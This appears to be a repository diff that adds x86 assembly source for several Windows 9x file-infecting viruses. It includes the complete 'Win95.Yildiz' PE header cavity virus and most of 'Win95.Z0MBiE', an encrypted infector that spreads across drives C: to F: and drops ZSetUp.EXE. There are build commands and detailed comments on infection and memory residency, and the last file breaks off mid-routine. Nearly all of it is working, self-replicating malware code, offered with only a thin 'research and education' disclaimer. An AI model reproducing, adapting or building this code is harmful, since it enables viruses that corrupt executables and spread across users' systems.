movzx cx,word ptr [esi+06h]
|
||||
mov ax,28h
|
||||
mul cx
|
||||
add edi,eax
|
||||
|
||||
mov ecx,dword ptr [esi+2ch]
|
||||
mov dword ptr [esi+54h],ecx
|
||||
|
||||
push edi
|
||||
sub edi,dword ptr [memory+ebp-X]
|
||||
xchg edi,dword ptr [esi+28h]
|
||||
mov eax,dword ptr [esi+34h]
|
||||
add edi,eax
|
||||
shr eax,12
|
||||
mov dword ptr [currPage+ebp-X],eax
|
||||
mov dword ptr [oldip+ebp-X],edi ;Save old EIP
|
||||
pop edi
|
||||
|
||||
|
||||
mov ecx,VirusSize
|
||||
lea esi,[vStart+ebp-X]
|
||||
rep movsb ;CopyVirus
|
||||
|
||||
xor al,al ;SetFilePointer 0=beginning file
|
||||
call FP ;mov al,0
|
||||
|
||||
mov ah,40h ;Write to file
|
||||
mov ecx,1000h
|
||||
mov edx,dword ptr [memory+ebp-X]
|
||||
call int21
|
||||
|
||||
quitz:
|
||||
mov ah,3eh ;CloseFile
|
||||
call int21
|
||||
|
||||
quit:
|
||||
|
||||
ret
|
||||
|
||||
exit:
|
||||
|
||||
vEnd label byte
|
||||
ret
|
||||
VirusSize equ vEnd-vStart
|
||||
KERNEL32 equ 0bff70000h ;Win9X kernel address
|
||||
FSTGENPAGE equ 000400000h/1000h
|
||||
X equ offset id
|
||||
_VxDCALL0 dd ?
|
||||
memory dd ? ;Buffer
|
||||
|
||||
Virual_End:
|
||||
|
||||
ends
|
||||
End Start
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,336 @@
|
||||
; *************************************************************************
|
||||
; ******************** ********************
|
||||
; ******************** Win95.Yildiz ********************
|
||||
; ******************** by ********************
|
||||
; ******************** Black Jack ********************
|
||||
; ******************** ********************
|
||||
; *************************************************************************
|
||||
|
||||
comment ~
|
||||
|
||||
NAME: Win95.Yildiz
|
||||
AUTHOR: Black Jack [independant Austrian Win32asm virus coder]
|
||||
CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack
|
||||
TYPE: Win9x direct acting/global ring3 resident PE header cavity virus
|
||||
SIZE: 323 bytes (but of course infected files won't increase in size)
|
||||
|
||||
DESCRIPTION: When an infected file is run, the virus takes control. It then
|
||||
tries to find the kernel32 base address by a simple algorithm
|
||||
which should make it compatible with Win9X and WinME (although I
|
||||
haven't tested it with the second one). After that it gets the
|
||||
undocumented Win9X API VxDCall0 and uses it to call int 21h. The
|
||||
VxDCall0 API is the very first exported API in Win9X; I don't
|
||||
know which API is first in WinNT, that's why unpredictable
|
||||
results may occur when the virus runs in that OS (I haven't tried
|
||||
it out, but of course the virus can't work in NT).
|
||||
Then it goes TSR (read more about this a bit later), and infects
|
||||
all PE EXE files in the current directory by overwriting the
|
||||
unused padding bytes in the PE header with the virus body.
|
||||
The memory residency consist in infecting kernel32.dll in memory.
|
||||
To do so, it creates a temporary file called "Yildiz." and writes
|
||||
the first 4KB of kernel32.dll there. Then this file is infected
|
||||
like any other PE file. And finally the content of the infected
|
||||
temp file is read back into kernel32 memory. Yep, you have read
|
||||
right, by using the int21h with VxDCall0 you can read from a file
|
||||
into read-only memory! (This trick was discovered by Murkry/IkX,
|
||||
read more about it in the comments to his Darkside virus source,
|
||||
published in Xine#3).
|
||||
As I have already said, the kernel32 is infected in memory just
|
||||
like any other file, this means the entry point is set to the
|
||||
virus, no APIs are hooked. As you should know, the entry point
|
||||
of a DLL is a init routine that is called whenever the DLL is
|
||||
loaded by a program. And since kernel32 is imported by all
|
||||
programs, this means for us that whenever a program is run (and
|
||||
kernel32 is mapped into the program's address space), our virus
|
||||
will infect all PE EXE files in the directory of the program.
|
||||
|
||||
ASSEMBLE WITH:
|
||||
tasm32 /mx /m yildiz.asm
|
||||
tlink32 /Tpe /aa yildiz.obj,,, import32.lib
|
||||
|
||||
there's no need for PEWRSEC or a similar tool, because the
|
||||
virus code is supposed to run in read-only memory anyways.
|
||||
|
||||
DISCLAIMER: I do *NOT* support the spreading of viruses in the wild.
|
||||
Therefore, this source was only written for research and
|
||||
education. Please do not spread it. The author can't be hold
|
||||
responsible for what you decide to do with this source.
|
||||
|
||||
~
|
||||
; ===========================================================================
|
||||
|
||||
|
||||
virus_size EQU (virus_end - virus_start)
|
||||
|
||||
Extrn MessageBoxA:Proc ; for first generation only
|
||||
Extrn ExitProcess:Proc
|
||||
|
||||
.386p
|
||||
.model flat
|
||||
.data
|
||||
dd 0 ; dummy data, you know...
|
||||
|
||||
.code
|
||||
virus_start:
|
||||
pushad ; save all registers
|
||||
|
||||
xchg edi, eax ; put delta offset to EDI (EAX=start
|
||||
; offset of program by default)
|
||||
|
||||
mov eax, [esp+8*4] ; EAX=some address inside kernel32
|
||||
|
||||
sub esp, size stack_frame ; reserve room on stack
|
||||
mov esi, esp ; set ESI to our data on the stack
|
||||
|
||||
search_kernel32:
|
||||
xor ax,ax ; we assume the least significant
|
||||
; word of the kernel32 base is zero
|
||||
cmp word ptr [eax], "ZM" ; is there a MZ header ?
|
||||
JE found_kernel32 ; if yes, we found the correct
|
||||
; kernel32 base address
|
||||
dec eax ; 0BFF80000->0BFF7FFFF, and then the
|
||||
; least significant word is zeroed
|
||||
JMP search_kernel32 ; check next possible kernel32 base
|
||||
|
||||
tmp_filename db "Yildiz", 0
|
||||
filespec db "*.EXE", 0
|
||||
|
||||
|
||||
found_kernel32:
|
||||
mov ebx, [eax+3Ch] ; EBX=kernel32 PE header RVA
|
||||
add ebx, eax ; EBX=offset of kernel32 PE header
|
||||
|
||||
mov ebx, [ebx+120] ; EBX=export table RVA
|
||||
mov ebx, [ebx+eax+1Ch] ; EBX=Address array of API RVAs
|
||||
mov ebx, [ebx+eax] ; get the first API RVA: VxDCall0
|
||||
add ebx, eax ; EBX=Offset VxDCall0 API
|
||||
mov [esi.VxDCall0], ebx ; save it
|
||||
lea ebp, [edi+int21h-virus_start] ; EBP=offset of our int21h procedure
|
||||
; for optimisation reasons, the
|
||||
; CALL EBP instruction is just 2 bytes
|
||||
|
||||
|
||||
; ----- GO TSR --------------------------------------------------------------
|
||||
|
||||
lea edx, [edi+tmp_filename-virus_start] ; EDX=pointer to tmp filename
|
||||
push edx ; save it on stack
|
||||
|
||||
push eax ; save kernel32 base address on stack
|
||||
|
||||
mov ah, 3Ch ; create temp file
|
||||
xor ecx, ecx ; no attributes
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
xchg ebx, eax ; filehandle to EBX, where it belongs
|
||||
|
||||
pop edx ; EDX=kernel32 base address
|
||||
push edx ; save it again
|
||||
|
||||
call write_file ; write start of kernel32 to temp file
|
||||
|
||||
call infect ; infect the temp file
|
||||
|
||||
pop edx ; EDX=kernel32 base address
|
||||
|
||||
mov ah, 3Fh ; read infected kernel32 fileststart
|
||||
call read_write ; into kernel32 memory
|
||||
|
||||
mov ah, 3Eh ; close temp file
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
pop edx ; EDX=pointer to temp filename
|
||||
mov ah, 41h ; delete temp file
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
|
||||
; ----- INFECT ALL FILES IN CURRENT DIR -------------------------------------
|
||||
|
||||
mov ah, 2Fh ; get DTA
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
push es ; save DTA address to stack
|
||||
push ebx
|
||||
|
||||
push ds ; ES=DS (standart data segment)
|
||||
pop es
|
||||
|
||||
mov ah, 1Ah ; set DTA to our data area
|
||||
lea edx, [esi.dta] ; DS:EDX=new DTA adress
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
mov ah, 4Eh ; find first file
|
||||
xor ecx, ecx ; only files with standart attributes
|
||||
lea edx, [edi+(filespec-virus_start)] ; EDX=offset of filespec
|
||||
|
||||
findfile_loop:
|
||||
call ebp ; call our int 21h procedure
|
||||
JC all_done ; no more files found?
|
||||
|
||||
mov ax, 3D02h ; open victim file for read and write
|
||||
lea edx, [esi.dta+1Eh] ; DS:EDX=pointer to filename in DTA
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
xchg ebx, eax ; handle to EBX, where it belongs
|
||||
|
||||
call infect ; infect the file
|
||||
|
||||
mov ah, 3Eh ; close the victim file
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
search_on:
|
||||
mov ah, 4Fh ; find next file
|
||||
JMP findfile_loop
|
||||
|
||||
|
||||
; ----- RESTORE HOST --------------------------------------------------------
|
||||
|
||||
all_done:
|
||||
pop edx ; restore old DTA offset in DS:EDX
|
||||
pop ds
|
||||
mov ah, 1Ah ; reset DTA to old address
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
push es ; DS=ES (standart data segment)
|
||||
pop ds
|
||||
|
||||
add esp, size stack_frame ; remove our data buffer from stack
|
||||
|
||||
popad ; restore all registers
|
||||
|
||||
db 05h ; add eax, imm32
|
||||
entry_RVA_difference dd (host-virus_start) ; difference between host and
|
||||
; virus entrypoint (EAX is virus
|
||||
; entrypoint offset by default)
|
||||
JMP eax ; jump to host entrypoint
|
||||
|
||||
; ----- END MAIN PART OF THE VIRUS CODE -------------------------------------
|
||||
|
||||
exit_infect:
|
||||
pop edi ; restore EDI (delta offset)
|
||||
RET ; return to caller
|
||||
|
||||
; ----- INFECT AN OPENED FILE (HANDLE IN BX) --------------------------------
|
||||
|
||||
infect:
|
||||
push edi ; save EDI (delta offset)
|
||||
|
||||
mov edx, esi ; EDX=read/write buffer offset
|
||||
mov ah, 3Fh ; read start of file
|
||||
call read_write
|
||||
|
||||
cmp word ptr [esi], "ZM" ; is it an exe file ?
|
||||
JNE exit_infect ; cancel infection if not
|
||||
|
||||
mov ecx, [esi+3Ch] ; ECX=new header RVA
|
||||
cmp ecx, 3*1024 ; check if DOS stub is small enough
|
||||
; so that all the PE header is in
|
||||
; our buffer
|
||||
JA exit_infect ; if not, cancel infection
|
||||
|
||||
lea edi, [esi+ecx] ; EDI=PE header offset in memory
|
||||
cmp word ptr [edi], "EP" ; is it an PE file ?
|
||||
; (I know that the PE marker is
|
||||
; actually a dword, but by only
|
||||
; checking one word we save a byte
|
||||
; of virus code)
|
||||
JNE exit_infect ; cancel infection if not
|
||||
|
||||
cmp dword ptr [edi+28h], 4096 ; check if entrypoint RVA is in the
|
||||
; first 4 KB of the file
|
||||
JB exit_infect ; if yes, the file must be already
|
||||
; infected, cancel infection
|
||||
|
||||
add ecx, 24 ; add size of FileHeader
|
||||
movzx eax, word ptr [edi+14h] ; EAX=size of Optional header
|
||||
add ecx, eax ; add it to ECX
|
||||
movzx eax, word ptr [edi+6] ; EAX=NumberOfSections
|
||||
imul eax, eax, 40 ; get size of section headers to EAX
|
||||
add ecx, eax ; add it to ECX, now it points to the
|
||||
; end of the used part of the PE
|
||||
; header, where the virus will be.
|
||||
|
||||
mov edx, ecx ; EDX=virus RVA
|
||||
xchg dword ptr [edi+28h], edx ; set it as new entrypoint RVA
|
||||
sub edx, ecx ; EDX=difference between old and new
|
||||
; entrypoint RVA
|
||||
|
||||
mov eax, [edi+54h] ; EAX=SizeOfHeaders (aligned to
|
||||
; FileAlign)
|
||||
|
||||
lea edi, [esi+ecx] ; EDI=virus offset in buffer
|
||||
|
||||
sub eax, ecx ; EAX=free room for us to use
|
||||
mov cx, virus_size ; ECX=size of virus (the most
|
||||
; significant word of ECX should be 0)
|
||||
cmp eax, ecx ; enough room for the virus ?
|
||||
JL exit_infect ; cancel infection if not
|
||||
|
||||
pop eax ; EAX=delta offset
|
||||
push eax ; save it again to stack
|
||||
xchg esi, eax ; ESI=delta offset, EAX=data buffer
|
||||
|
||||
cld ; clear direction flag
|
||||
rep movsb ; move virus body into buffer
|
||||
|
||||
xchg esi, eax ; ESI=pointer to our data on stack
|
||||
|
||||
mov [edi-(virus_end-entry_RVA_difference)], edx ; store difference
|
||||
; between old and new entrypoint
|
||||
|
||||
pop edi ; restore EDI (delta offset)
|
||||
|
||||
mov edx, esi ; EDX=offset of read/write buffer
|
||||
|
||||
; now write modified start of file,
|
||||
; then return to caller
|
||||
|
||||
write_file:
|
||||
mov ah, 40h ; write to file
|
||||
|
||||
read_write:
|
||||
xor ecx, ecx ; ECX=0
|
||||
pushad ; save all registers
|
||||
|
||||
xor eax, eax ; EAX=4200h (set filepointer from
|
||||
mov ah, 42h ; start of the file
|
||||
cdq ; CX:DX=0 (new filepointer)
|
||||
call ebp ; call our int 21h procedure
|
||||
|
||||
popad ; restore all registers
|
||||
|
||||
mov ch, 10h ; ECX=4096 (size of read/write buffer)
|
||||
|
||||
; now execute int 21h and return
|
||||
|
||||
int21h: ; protected mode int21
|
||||
push ecx ; push parameters
|
||||
push eax
|
||||
push 2A0010h ; VWIN32_Int21Dispatch function
|
||||
call ss:[esi.VxDCall0] ; call VxDCall0 API
|
||||
ret
|
||||
|
||||
virus_end:
|
||||
|
||||
; This is our data that will be stored on the stack:
|
||||
|
||||
stack_frame struc
|
||||
buffer db 4096 dup(?)
|
||||
dta db 43 dup(?)
|
||||
VxDCall0 dd ?
|
||||
stack_frame ends
|
||||
|
||||
|
||||
host:
|
||||
push 0
|
||||
push offset caption
|
||||
push offset message
|
||||
push 0
|
||||
call MessageBoxA
|
||||
|
||||
push 0
|
||||
call ExitProcess
|
||||
|
||||
caption db "Win95.Yildiz Virus (c) 2000 Black Jack", 0
|
||||
message db "first generation dropper", 0
|
||||
|
||||
end virus_start
|
||||
@@ -0,0 +1,979 @@
|
||||
;
|
||||
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
; ³ Win95.Z0MBiE ³
|
||||
; ³ v1.01, by Z0MBiE ³
|
||||
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
;
|
||||
; This is the first collaboration of the russian virus writer Z0MBiE to 29A,
|
||||
; and also his first Win95 PE infector. It is an encrypted runtime PE infec-
|
||||
; tor which, after having decrypted its body, locates KERNEL32.DLL and then
|
||||
; looks in its export table for the address of the API functions used it the
|
||||
; viral code. This virus has also the feature which consists on looking for
|
||||
; files to infect in the Windows directory as well as in other units. PE in-
|
||||
; fection consists on adding a new section (called .Z0MBiE) to infected exe-
|
||||
; cutables and creating an entry point in it for the virus code. Last but
|
||||
; not least, Win95.Z0MBiE, after having infected files in a given drive, in-
|
||||
; serts a dropper called ZSetUp.EXE in the root directory. This file is ac-
|
||||
; tually a dropper of the Z0MBiE.1922 virus, also included in this issue of
|
||||
; 29A, in the "Viruses" section of the magazine. Its peculiarities are des-
|
||||
; cribed there, together with the analysis of Igor Daniloff, same as the one
|
||||
; which follows, describing the behavior of Win95.ZOMBiE.
|
||||
;
|
||||
;
|
||||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
; Win95.Zombie
|
||||
;
|
||||
; Igor Daniloff
|
||||
; DialogueScience
|
||||
;
|
||||
; Win95.Zombie is a nondestructive nonresident encrypted virus which
|
||||
; infects PortableExecutable EXE files. On starting an infected file,
|
||||
; the virus decryptor explodes the main virus body and passes control
|
||||
; to it. The main virus body determines the location of KERNEL32 Export
|
||||
; Table in memory and saves in its code the address of WIN32 KERNEL API
|
||||
; functions that are essential for infecting files.
|
||||
;
|
||||
; Then the virus determines the command line of the currently-loaded
|
||||
; infected program and loads it once again through the WinExec function.
|
||||
; The second virus copy then infects the system. The first virus copy
|
||||
; (that started a second copy the infected program), after completing
|
||||
; the WinExec procedure, returns control to the host program.
|
||||
;
|
||||
; To infect PE EXE files, the virus scans the Windows system folder and
|
||||
; also takes peeps into all other folders in drives C:, D:, E:, and F:.
|
||||
; On detecting a PE EXE file, the virus analyzes the file. If all is well,
|
||||
; the file is infected. Win95.Zombie creates a new segment section .Z0MBiE
|
||||
; in the PE header, sets an entry point to it, and appends a copy of the
|
||||
; encrypted code at the file end which is within the limits of the region
|
||||
; of this segment section. After infecting the logical drive, the virus
|
||||
; creates a dropper file ZSetUp.EXE in the root directory and assigns it
|
||||
; ARCHIVE and SYSTEM attributes. In this file, Win95.Zombie plants a
|
||||
; Zombie.1922 virus code. The virus contains a few text strings:
|
||||
;
|
||||
; Z0MBiE 1.01 (c) 1997
|
||||
; My 2nd virii for mustdie
|
||||
; Tnx to S.S.R.
|
||||
;
|
||||
; Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE
|
||||
; Tnx to S.S.R.
|
||||
; ShadowRAM/Virtual Process Infector
|
||||
; ShadowRAM Technology (c) 1996,97 Z0MBiE
|
||||
;
|
||||
; code................1398
|
||||
; viriisize...........4584
|
||||
; virtsize............8936
|
||||
;
|
||||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
;
|
||||
;
|
||||
; Compiling it
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; tasm32 -ml -m5 -q -zn zombie.asm
|
||||
; tlink32 -Tpe -c -x -aa zombie.obj,,, import32.lib
|
||||
; pewrsec zombie.exe
|
||||
;
|
||||
; - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
|
||||
.386
|
||||
locals
|
||||
jumps
|
||||
.model flat
|
||||
|
||||
extrn ExitProcess:PROC
|
||||
extrn MessageBoxA:PROC
|
||||
|
||||
kernel equ 0BFF70000H
|
||||
|
||||
FILE_ID equ 'Z0'
|
||||
PORT_ID equ 'Z'
|
||||
|
||||
.data
|
||||
|
||||
sux db 'mustdie'
|
||||
|
||||
.code
|
||||
start:
|
||||
call codestart
|
||||
|
||||
lea ebp, [eax - 401000H]
|
||||
lea edx, codestart[ebp]
|
||||
cryptn equ (viriisize-decrsize+3) / 4
|
||||
mov ecx, cryptn
|
||||
@@1: neg dword ptr [edx]
|
||||
xor dword ptr [edx], 12345678h
|
||||
xorword equ dword ptr $-4
|
||||
sub edx, -4
|
||||
loop @@1
|
||||
jmp codestart
|
||||
|
||||
align 4
|
||||
decrsize equ $-start
|
||||
|
||||
codestart: lea ebp, [eax - 401000H]
|
||||
sub eax, 12345678h
|
||||
subme equ dword ptr $-4
|
||||
push eax
|
||||
|
||||
call analizekernel
|
||||
|
||||
call first
|
||||
|
||||
in al, 81h
|
||||
cmp al, PORT_ID
|
||||
je exit_to_program
|
||||
|
||||
in al, 80h
|
||||
cmp al, PORT_ID
|
||||
je infect
|
||||
|
||||
mov al, PORT_ID
|
||||
out 80h, al
|
||||
|
||||
call ExecExe
|
||||
|
||||
exit_to_program: ret
|
||||
|
||||
infect: mov al, -1
|
||||
out 80h, al
|
||||
|
||||
; call _GetModuleHandleA
|
||||
; push 9
|
||||
; push eax
|
||||
; call _SetPriorityClass
|
||||
|
||||
; infect windows directory
|
||||
|
||||
lea edx, infdir[ebp]
|
||||
call getwindir
|
||||
lea edx, infdir[ebp]
|
||||
call setdir
|
||||
call infectdir
|
||||
|
||||
; recursive infect
|
||||
|
||||
lea edx, drive_c[ebp]
|
||||
call recinfect1st
|
||||
call createsetup
|
||||
|
||||
lea edx, drive_d[ebp]
|
||||
call recinfect1st
|
||||
call createsetup
|
||||
|
||||
lea edx, drive_e[ebp]
|
||||
call recinfect1st
|
||||
call createsetup
|
||||
|
||||
lea edx, drive_f[ebp]
|
||||
call recinfect1st
|
||||
call createsetup
|
||||
|
||||
mov al, PORT_ID
|
||||
out 81h, al
|
||||
|
||||
exit_to_mustdie: push -1
|
||||
call _ExitProcess
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ subprograms ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
createsetup: lea edx, zsetup[ebp]
|
||||
call createfile
|
||||
|
||||
lea edx, z[ebp]
|
||||
mov ecx, z_size
|
||||
call writefile
|
||||
|
||||
call closefile
|
||||
|
||||
ret
|
||||
|
||||
first: pop edi
|
||||
mov byte ptr [edi-5], 0b9h ; mov ecx, xxxxxxxx
|
||||
mov byte ptr start[ebp], 0b9h
|
||||
|
||||
call infectfile
|
||||
jmp exit_to_mustdie
|
||||
|
||||
ExecExe: call _GetCommandLineA
|
||||
SW_NORMAL equ 1
|
||||
push SW_NORMAL
|
||||
push eax
|
||||
call _WinExec
|
||||
ret
|
||||
|
||||
recinfect1st: call setdir
|
||||
|
||||
recinfect: call infectdir
|
||||
|
||||
lea eax, win32_data_thang[ebp]
|
||||
push eax
|
||||
lea eax, dirfiles[ebp]
|
||||
push eax
|
||||
call _FindFirstFileA
|
||||
mov edi, eax
|
||||
inc eax
|
||||
jz @@nomorefiles
|
||||
|
||||
@@processfile: lea eax, fileattr[ebp]
|
||||
mov al, [eax]
|
||||
cmp al, 10h ; directory ?
|
||||
jne @@findnext
|
||||
|
||||
lea edx, fullname[ebp]
|
||||
cmp byte ptr [edx], '.'
|
||||
je @@findnext
|
||||
call setdir
|
||||
|
||||
push edi
|
||||
lea edx, fullname[ebp]
|
||||
call recinfect
|
||||
pop edi
|
||||
|
||||
lea edx, prev_dir[ebp]
|
||||
call setdir
|
||||
|
||||
@@findnext: lea eax, win32_data_thang[ebp]
|
||||
push eax
|
||||
push edi
|
||||
call _FindNextFileA
|
||||
|
||||
or eax, eax
|
||||
jnz @@processfile
|
||||
|
||||
@@nomorefiles: ret
|
||||
|
||||
nokerneldll:
|
||||
nofunction:
|
||||
exit: jmp $
|
||||
|
||||
analizekernel: mov esi, kernel
|
||||
@@1: ; cmp esi, kernel + 040000h
|
||||
; ja nokernelfunc
|
||||
lea edi, kernel_sign[ebp]
|
||||
mov ecx, kernel_sign_size
|
||||
rep cmpsb
|
||||
jne @@1
|
||||
|
||||
kernelfound: sub esi, kernel_sign_size
|
||||
mov kernel_call[ebp], esi
|
||||
|
||||
mov esi, kernel
|
||||
lodsw
|
||||
cmp ax, 'ZM'
|
||||
jne nokerneldll
|
||||
|
||||
add esi, 003Ch-2
|
||||
lodsd
|
||||
|
||||
lea esi, [esi + eax - 3ch - 4]
|
||||
lodsd
|
||||
cmp eax, 'EP'
|
||||
jne nokerneldll
|
||||
|
||||
add esi, 78h-4 ; esi=.edata
|
||||
|
||||
lodsd
|
||||
add eax, kernel + 10h
|
||||
xchg esi, eax
|
||||
|
||||
lodsd
|
||||
lodsd
|
||||
lodsd
|
||||
mov funcnum[ebp], eax
|
||||
|
||||
lodsd
|
||||
add eax, kernel
|
||||
mov entrypointptr[ebp], eax
|
||||
|
||||
lodsd
|
||||
add eax, kernel
|
||||
mov nameptr[ebp], eax
|
||||
|
||||
lodsd
|
||||
add eax, kernel
|
||||
mov ordinalptr[ebp], eax
|
||||
|
||||
lea edx, names[ebp]
|
||||
lea edi, fns[ebp]
|
||||
|
||||
@@1: push edi
|
||||
call findfunction
|
||||
pop edi
|
||||
|
||||
inc edi ; 68
|
||||
stosd
|
||||
add edi, 6 ; jmp kernel_call[ebp]
|
||||
|
||||
mov edx, esi
|
||||
|
||||
cmp byte ptr [esi], 0
|
||||
jne @@1
|
||||
|
||||
ret
|
||||
|
||||
findfunction: mov ecx, 12345678h
|
||||
funcnum equ dword ptr $-4
|
||||
xor ebx, ebx
|
||||
|
||||
findnextfunc: mov esi, edx
|
||||
|
||||
mov edi, [ebx + 12345678h]
|
||||
nameptr equ dword ptr $-4
|
||||
add edi, kernel
|
||||
|
||||
@@2: cmpsb
|
||||
jne @@1
|
||||
|
||||
cmp byte ptr [esi-1], 0
|
||||
jne @@2
|
||||
|
||||
; found
|
||||
|
||||
shr ebx, 1
|
||||
movzx eax, word ptr [ebx + 12345678h]
|
||||
ordinalptr equ dword ptr $-4
|
||||
shl eax, 2
|
||||
mov eax, [eax + 12345678h]
|
||||
entrypointptr equ dword ptr $-4
|
||||
add eax, kernel
|
||||
|
||||
ret
|
||||
|
||||
@@1: add ebx, 4
|
||||
loop findnextfunc
|
||||
|
||||
jmp nofunction
|
||||
|
||||
|
||||
infectdir: lea eax, win32_data_thang[ebp]
|
||||
push eax
|
||||
lea eax, exefiles[ebp]
|
||||
push eax
|
||||
call _FindFirstFileA
|
||||
|
||||
mov searchhandle[ebp], eax
|
||||
inc eax
|
||||
jz @@exit
|
||||
|
||||
@@next: call infectfile
|
||||
|
||||
lea eax, win32_data_thang[ebp]
|
||||
push eax
|
||||
push 12345678h
|
||||
searchhandle equ dword ptr $-4
|
||||
call _FindNextFileA
|
||||
|
||||
or eax, eax
|
||||
jnz @@next
|
||||
|
||||
@@exit: ret
|
||||
|
||||
; input: ECX=file attr
|
||||
; EDX=file
|
||||
; output: EAX=handle
|
||||
|
||||
openfile: push 0
|
||||
push ecx
|
||||
push 3 ; OPEN_EXISTING
|
||||
push 0
|
||||
push 0
|
||||
push 80000000h + 40000000h
|
||||
push edx
|
||||
call _CreateFileA
|
||||
mov handle[ebp], eax
|
||||
ret
|
||||
|
||||
; input: EDX=file
|
||||
; output: EAX=handle
|
||||
|
||||
createfile: push 0
|
||||
push ecx
|
||||
push 1 ; CREATE
|
||||
push 0
|
||||
push 0
|
||||
push 80000000h + 40000000h
|
||||
push edx
|
||||
call _CreateFileA
|
||||
mov handle[ebp], eax
|
||||
ret
|
||||
|
||||
seekfile: push 0
|
||||
push 0
|
||||
push edx
|
||||
push handle[ebp]
|
||||
call _SetFilePointer
|
||||
ret
|
||||
|
||||
closefile: push handle[ebp]
|
||||
call _CloseHandle
|
||||
ret
|
||||
|
||||
; input: ECX=bytes to read
|
||||
; EDX=buf
|
||||
|
||||
readfile: push 0
|
||||
lea eax, bytesread[ebp]
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
push handle[ebp]
|
||||
call _ReadFile
|
||||
ret
|
||||
|
||||
; input: ECX=bytes to read
|
||||
; EDX=buf
|
||||
|
||||
writefile: push 0
|
||||
lea eax, bytesread[ebp]
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
push handle[ebp]
|
||||
call _WriteFile
|
||||
ret
|
||||
|
||||
; input: EDX=offset directory (256 byte)
|
||||
|
||||
getdir: cld
|
||||
push edx
|
||||
push 255
|
||||
call _GetCurrentDirectoryA
|
||||
ret
|
||||
|
||||
; input: EDX=directory
|
||||
|
||||
setdir: push edx
|
||||
call _SetCurrentDirectoryA
|
||||
ret
|
||||
|
||||
getwindir: cld
|
||||
push 255
|
||||
push edx
|
||||
call _GetWindowsDirectoryA
|
||||
ret
|
||||
|
||||
infectfile: in al, 82h
|
||||
cmp al, PORT_ID
|
||||
jne @@continue
|
||||
|
||||
lea eax, fullname[ebp]
|
||||
cmp dword ptr [eax], 'BM0Z'
|
||||
jne @@exit
|
||||
|
||||
@@continue: mov ecx, fileattr[ebp]
|
||||
lea edx, fullname[ebp]
|
||||
call openfile
|
||||
|
||||
inc eax
|
||||
jz @@exit
|
||||
|
||||
; goto the dword that stores the location of the pe header
|
||||
|
||||
mov edx, 3Ch
|
||||
call seekfile
|
||||
|
||||
; read in the location of the pe header
|
||||
|
||||
mov ecx, 4
|
||||
lea edx, peheaderoffset[ebp]
|
||||
call readfile
|
||||
|
||||
; goto the pe header
|
||||
mov edx, peheaderoffset[ebp]
|
||||
call seekfile
|
||||
|
||||
; read in enuff to calculate the full size of the pe header and object table
|
||||
|
||||
mov ecx, 256
|
||||
lea edx, peheader[ebp]
|
||||
call readfile
|
||||
|
||||
; make sure it is a pe header and is not already infected
|
||||
cmp dword ptr peheader[ebp],'EP'
|
||||
jne @@close
|
||||
cmp word ptr peheader[ebp] + 4ch, FILE_ID
|
||||
je @@close
|
||||
cmp dword ptr peheader[ebp] + 52, 00400000h
|
||||
jne @@close
|
||||
|
||||
; go back to the start of the pe header
|
||||
mov edx, peheaderoffset[ebp]
|
||||
call seekfile
|
||||
|
||||
; read in the whole pe header and object table
|
||||
lea edx, peheader[ebp]
|
||||
mov ecx, headersize[ebp]
|
||||
cmp ecx, maxbufsize
|
||||
ja @@close
|
||||
call readfile
|
||||
|
||||
mov word ptr peheader[ebp] + 4ch, FILE_ID
|
||||
|
||||
; locate offset of object table
|
||||
xor eax, eax
|
||||
mov ax, NtHeaderSize[ebp]
|
||||
add eax, 18h
|
||||
mov objecttableoffset[ebp],eax
|
||||
|
||||
; calculate the offset of the last (null) object in the object table
|
||||
mov esi, objecttableoffset[ebp]
|
||||
lea eax, peheader[ebp]
|
||||
add esi, eax
|
||||
xor eax, eax
|
||||
mov ax, numObj[ebp]
|
||||
mov ecx, 40
|
||||
xor edx, edx
|
||||
mul ecx
|
||||
add esi, eax
|
||||
|
||||
inc numObj[ebp] ; inc the number of objects
|
||||
|
||||
lea edi, newobject[ebp]
|
||||
xchg edi,esi
|
||||
|
||||
; calculate the Relative Virtual Address (RVA) of the new object
|
||||
|
||||
mov eax, [edi-5*8+8]
|
||||
add eax, [edi-5*8+12]
|
||||
mov ecx, objalign[ebp]
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov RVA[ebp], eax
|
||||
|
||||
; calculate the physical size of the new object
|
||||
mov ecx, filealign[ebp]
|
||||
mov eax, viriisize
|
||||
xor edx, edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov physicalsize[ebp],eax
|
||||
|
||||
; calculate the virtual size of the new object
|
||||
mov ecx, objalign[ebp]
|
||||
mov eax, virtsize
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov virtualsize[ebp],eax
|
||||
|
||||
; calculate the physical offset of the new object
|
||||
mov eax,[edi-5*8+20]
|
||||
add eax,[edi-5*8+16]
|
||||
mov ecx, filealign[ebp]
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
